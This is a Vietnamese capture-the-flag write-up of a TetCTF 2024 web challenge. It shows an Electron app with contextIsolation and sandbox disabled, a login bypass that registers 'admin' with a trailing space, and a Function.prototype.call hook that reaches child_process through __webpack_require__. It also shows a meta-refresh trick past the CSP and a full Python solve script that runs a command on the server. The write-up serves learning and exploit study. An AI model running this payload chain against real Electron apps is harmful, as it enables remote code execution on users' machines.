# X Ét Ét ### Lời nói đầu: Đây là một challenge của giải TetCTF 2024, kết quả là mình chằng giải được bất cứ challenge nào, writeup này ghi lại quá trình mình học được những kiến thức mình chưa tiếp cận bao giờ từ challenge này và dựa trên phân tích từ writeups của author cũng như các writeups của các đội khác. Writeups này được viết dựa trên ý hiểu của mình nên việc phân tích sẽ không tránh khỏi thiếu sót, hi vọng mọi người đọc xong có thể cho ý kiến để mình có thể cải thiện trong tương lai Piece !!!! ### Recon Đoạn soure code cung cấp cho ta hai function đáng chú ý như sau: ##### main.js ``` // Modules to control application life and create native browser window const { session, app, BrowserWindow, ipcMain, screen, shell } = require('electron') const path = require('path') let notificationWindow = null; let mainWindow = null; function createWindow() { // Create the browser window. mainWindow = new BrowserWindow({ width: 800, height: 600, webPreferences: { preload: path.join(__dirname, 'preload.js'), sandbox: false, contextIsolation: true, nodeIntegration: false, webgl: true, webSecurity: false, nodeIntegrationInSubFrames: true, } }) mainWindow.loadFile("index.html") } ipcMain.on('Calculator', (event,num1,num2) => { return eval(`${num1}+${num2}`) }) function createNotificationWindow(id) { child = new BrowserWindow({ width: 300, height: 200, webPreferences: { //preload: no need preload expose sandbox: false, contextIsolation: false, webgl: true, webSecurity: false, nodeIntegrationInSubFrames: false, // dont allow call ipc from iframe/child windows } }) child.loadURL("http://localhost/IsNew?id="+id) } ipcMain.on('OpenUrlIpc', (event, url) => { const { shell } = require('electron'); shell.openExternal(url) }) ipcMain.on('CreateViewer', (event,id) => { createNotificationWindow(id); }) // IPC handler in the main window app.whenReady().then(() => { createWindow(); app.on('activate', function () { // On macOS it's common to re-create a window in the app when the // dock icon is clicked and there are no other windows open. if (BrowserWindow.getAllWindows().length === 0) createWindow() }) }) // Quit when all windows are closed, except on macOS. There, it's common // for applications and their menu bar to stay active until the user quits // explicitly with Cmd + Q. app.on('window-all-closed', function () { if (process.platform !== 'darwin') app.quit() }) ``` ##### preload.js ``` /** * The preload script runs before. It has access to web APIs * as well as Electron's renderer process modules and some * polyfilled Node.js functions. * * https://www.electronjs.org/docs/latest/tutorial/sandbox */ const contextBridge = require('electron').contextBridge; const ipcRenderer = require('electron').ipcRenderer; window.addEventListener('DOMContentLoaded', () => { const replaceText = (selector, text) => { const element = document.getElementById(selector) if (element) element.innerText = text } for (const type of ['chrome', 'node', 'electron']) { replaceText(`${type}-version`, process.versions[type]) } }) // White-listed channels. const ipc = { 'render': { // From render to main. 'send': [ 'CreateViewer', 'OpenUrlIpc' ], // From main to render. 'receive': [], // From render to main and back again. 'sendReceive': [] } }; // Exposed protected methods in the render process. contextBridge.exposeInMainWorld( // Allowed 'electron' methods. 'electron', { // From render to main. send: (channel, args) => { let validChannels = ipc.render.send; if (validChannels.includes(channel)) { ipcRenderer.send(channel, args); } }, // From main to render. receive: (channel, listener) => { let validChannels = ipc.render.receive; if (validChannels.includes(channel)) { // Deliberately strip event as it includes `sender`. ipcRenderer.on(channel, (event, ...args) => listener(...args)); } }, // From render to main and back again. invoke: (channel, args) => { return ipcRenderer.invoke(channel, args); } } ); contextBridge.exposeInMainWorld('envVariables', { title: process.env.title, content: process.env.content, id: process.env.id }); ``` **Đôi nét về Electron** ###### Electron là khung phần mềm mã nguồn mở và được xây dựng dựa trên Chromium nhưng nó không phải là một browser ta có thể hiểu đơn giản là xem Electron như là một ứng dụng bao gồm cả front-end và back-end, trong đó front-end là Chromium có nhiệm vụ render web content và back-end là phần xử lý dựa trên NodeJS. ![image](https://hackmd.io/_uploads/BkIGFNB5p.png) Electron thông thường có 2 loại process: - Main process: hoạt động như một application entry point, hoàn toàn được truy cập và xử lý bởi NodeJS. - Renderer process: cũng như tên gọi của nó, process này chịu trách nhiệm cho việc render nội dung của trang web (như HTML, CSS, Javascript) mà người dùng có thể thấy và tương tác được - Thông thường các ```renderer process``` được cấu hình bên trong main process nằm ở các file javascript xử lý chính, trong các options này sẽ có các option dùng để phòng chống việc người dùng có thể gọi trực tiếp các NodeJS APIs nếu được cấu hình đúng.Vì renderer process chịu trách nhiệm parse code HTML nên trong nhiều trường hợp có thể dẫn tới lỗ hổng XSS Bạn có thể tìm hiểu chi tiết ở một vài blog: https://nhienit.wordpress.com/2023/06/26/cve-2022-3133-draw-io-xss-leads-to-rce https://spaceraccoon.dev/open-sesame-escalating-open-redirect-to-rce-with-electron-code-review Quay trở lại đoạn source code , ta hãy chú ý đến đoạn ```function createNotificationWindow()``` ``` function createNotificationWindow(id) { child = new BrowserWindow({ width: 300, height: 200, webPreferences: { //preload: no need preload expose sandbox: false, contextIsolation: false, webgl: true, webSecurity: false, nodeIntegrationInSubFrames: false, // dont allow call ipc from iframe/child windows } }) child.loadURL("http://localhost/IsNew?id="+id) } ``` Các giá trị ```sandbox```, ``` contextIsolation```, ```nodeIntergerationInSubFramres``` đều được xét là ```false``` Trong `electron`, 1. sandbox - Nếu option này được set ```true```, quá trình `rendering` sẽ chạy trong môi trường `sandbox`, hạn chế quyền truy cập vào hầu hết các tài nguyên hệ thống, bao gồm đọc và ghi file, khởi chạy quy trình mới, v.v. Preload.js và JavaScript trong trang web sẽ bị ảnh hưởng bởi tùy chọn này. - Lưu ý rằng nó sẽ bị tắt khi `Node Integration` được bật. - `sandbox` được bật mặc định từ Electron phiên bản 20 trở đi. - Nếu được set `true`, chúng ta không thể thực hiện trực tiếp các lệnh thông qua `Chromium v8 Nday RCE` hoặc thông qua thư viện chia sẻ Node.js của quá trình rendering 2. Node Integration - `Node Integration` quyết định có cho phép truy cập vào thư viện chia sẻ `Node.js` cho `web JS` hay không. Nếu set `true`, `web JS` sẽ có quyền thực hiện trực tiếp các lệnh `Node.js`, bao gồm khởi chạy quy trình, tải file, v.v. - `preload.js` luôn được kích hoạt tích hợp Node và không bị ảnh hưởng bởi option này. - Ngay cả khi option này được set `true` và tùy chọn cách ly bối cảnh (context isolation) cũng được bật, `web JS` vẫn không thể truy cập vào thư viện chia sẻ `Node.js`. 3. Context Isolation - `Context Isolation` là một tính năng của Electron, được thực hiện bằng cách sử dụng `Content Scripts` giống như `Chromium`. Đảm bảo rằng script `preload` và `js` của trang web đang ở trong một bối cảnh riêng biệt. - Một khi được bật, các module khác nhau của Electron và Node `introduced into the js` của trang được render. - Nếu ta muốn sử dụng, ta cần cấu hình preload.js và sử dụng contextBridge `to expose the global interface to the script that renders the page` Trong trường hợp `nodeIntegration` được đặt là `true` (NI là true), `contextIsolation` được đặt là `false` (CISO là false), và không sử dụng sandbox, đây là trường hợp đơn giản nhất, cho phép truy cập vào thư viện chia sẻ Node.js giữa các trang, và không sử dụng sandbox. Trong trường hợp này, chỉ cần chúng ta có thể khai thác một lỗ hổng XSS (Cross-Site Scripting) trong ứng dụng, chúng ta có thể trực tiếp nâng cấp nó thành một lỗ hổng RCE bằng cách truy cập vào NodeJS shared library Trong file `main.js`, `webPreferences` được cấu hình với `nodeIntegration` là `true` và `contextIsolation` là `false`. Theo mặc định, khi `nodeIntegration` là `true`, `sandbox` sẽ được set `false`. ![image](https://hackmd.io/_uploads/ByqSuHS9T.png) ![image](https://hackmd.io/_uploads/SJc2drS9T.png) Quay trở lại với các set up ban đầu, đối với trường hợp này, mặc dù `Nodejs integration` được tắt. Chúng ta không thể truy cập `Nodejs shared library` bên trong `web page context`. Tuy nhiên, bởi vì `contextIsolation` set `false` , `the web page and preload.js are in the same context`.Do đó, chúng ta có thể `obtain the functions of preload and js by polluting the prototype chain, perform ipcMain calls, command execution, etc.` ##### Prototype chain pollution gets __webpack_require__ [ElectroVolt](https://i.blackhat.com/USA-22/Thursday/US-22-Purani-ElectroVolt-Pwning-Popular-Desktop-Apps.pdf): sau khi tìm hiểu, mình tìm được bài post từ `blackhat` 2022.Tại trang 25, ta có thể thấy một kĩ thuật sử dụng `prototype pollution to leak Electron's internal modules`: **since contextIsolation: false and sandbox: false in NotificationWindow, object/func are shared, so you can modifying builtin functions and hook your rce code into that** ``` <script> const orgCall = Function.prototype.call; Function.prototype.call = function(...args){ if(args[3] && args[3].name == "__webpack_require__"){ const __webpack_require__ = args[3]; var solve = __webpack_require__('module')._load('child_process').exec('id'); } return orgCall.apply(this,args); }</script> ``` #### Hooking `call` function of Function.prototype: Ta sử dụng `hook` (ghi đè) hàm `call` của Function.prototype. Khi mọi hàm được gọi trong JavaScript, hàm `call` của Function.prototype thường được sử dụng để thực hiện cuộc gọi hàm thực tế. Bằng cách sử dung kỹ thuật này, ta có thể obtain các object từ một context khác, ở đây chúng ta sử dụng __webpack_require__ ###### `__webpack_require__` là một hàm đặc biệt trong môi trường sử dụng Webpack, được sử dụng để tải các module JavaScript trong ứng dụng. Khi bạn sử dụng Webpack để bundling (đóng gói) ứng dụng JavaScript của mình, mã nguồn thường được chia thành nhiều module và được đóng gói thành một hoặc nhiều bundle. Tiếp theo ta sử dụng __webpack_require__ để tải module 'child_process' và thực thi được remote code execution ### Exploit 1. Bypass The admin ``` @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': data = request.form username = data.get('username') password = data.get('password') if username and password: user = User.query.filter_by(username=username).first() print(user) if user and password == user.password: session['username'] = username.strip() # Redirect to the home page or perform other actions upon successful login return redirect(url_for('home')) return render_template('login.html', error_message='Invalid username or password.') else: return render_template('login.html') ``` Ta chú ý đến việc sử dụng `session['username'] = username.strip()`, để có thể bypass việc login with admin rights, ta có thể thêm một space ở cuối ![image](https://hackmd.io/_uploads/BJgAWGU96.png) Bằng cách login vào admin, ta có thể tạo một new content với `[IMPORTANT ALERT]` ``` if username=="admin": content = "[IMPORTANT ALERT]"+ content else: content = "[NOMAL ALERT]"+ content ``` Bằng cách đó, ta có thể sử dụng được `CreateViwwer` đã được định nghĩa ở trên ``` /challenge/app/index.html if(atob(envVariables.content).startsWith("[IMPORTANT ALERT]")){ electron.send("CreateViewer",atob(window.envVariables.id));} ``` 2. Sandbox bypass by using the Prototype Pollution technique Khi `CreateViewer` được pop up nó sẽ gọi đến `createNotificationWindow` ![image](https://hackmd.io/_uploads/HkxaQGUcp.png) Lúc này với những cấu hình đã được phân tích ở trên ta có thể sử dụng kỹ thuật vừa trình bày để có thể thực thi được RCE thông qua việc sử dụng `Prototype chain pollution gets __webpack_require__` 3. Bypassing CSP using `meta` tag Công việc đến đây tưởng chừng là dễ dàng tuy nhiên việc khó khăn bây giờ để ta có thể trigger được RCE là bypass qua CSP ![image](https://hackmd.io/_uploads/HkkZBzL5p.png) Bởi vì việc sử dụng một strict CSP như trên khi một popup được mở, ta không thể thực thi đoạn javascript kể trên trực tiếp. Câu hỏi bây giờ là làm sao để có thể bypass chúng? Câu trả lời ở đây ta có thể thêm 1 ticket với title `<meta http-equiv="refresh" content="0; url=file:///tmp/{ticket}.html">` để redirect trực tiếp tới file chúng ta uploaded trên ticket form page. ##### Solve Code ``` import requests import sys,io url = sys.argv[1] s = requests.session() def signup(): i=1 username = "admin" + " " password = "admin" repassword = "admin" data ={"username":username,"password":password,"repassword":repassword} rep = s.post(url+"/signup",data=data) while "Username already exists" in rep.text: i+=1 username="admin"+" "*i print("try reg as user: '"+username+"'") data ={"username":username,"password":password,"repassword":repassword} rp = s.post(url+"/signup",data=data) return [username,password] def login(username,password): data ={"username":username,"password":password} rep = s.post(url+"/login",data=data) def create_ticker(title,content,file_content): file_content = file_content file_object = io.BytesIO(file_content.encode()) file_name = 'solve.html' files = {'file': (file_name, file_object)} data = {"title":title,"content":content} a = s.post(url+"/ticket",data=data,files=files,allow_redirects=False) return a.headers["Location"].split("/")[-1] def report(id): a = s.post(url+"/report",data={"id":id}) def get_flag(id): a=s.get(url+"/tmp/"+id) print(a.text) username,password=signup() login(username,password) id_flag = create_ticker("haha","haha","") rce = "/./flag* > /tmp/"+id_flag poc = """ <script> const orgCall = Function.prototype.call; Function.prototype.call = function(...args){ if(args[3] && args[3].name == "__webpack_require__"){ const __webpack_require__ = args[3]; var solve = __webpack_require__('module')._load('child_process').exec('"""+rce+"""'); } return orgCall.apply(this,args); }</script> """ id = create_ticker("hehe","hehe",poc) redirec_title =f""" <meta http-equiv="refresh" content="0;url=file:///tmp/{id}.html"> """ rp_id = create_ticker(redirec_title,"a","a") report(rp_id) get_flag(id_flag) ``` ![image](https://hackmd.io/_uploads/B1xso2GIq6.png) Flag in Server ![image](https://hackmd.io/_uploads/BJPT3fI5T.png) Source: https://hackmd.io/@Solderet/HJ52F9496 https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202023/Harmony#rce-using-client-side-prototype-pollution https://blog.csdn.net/text2204/article/details/129950816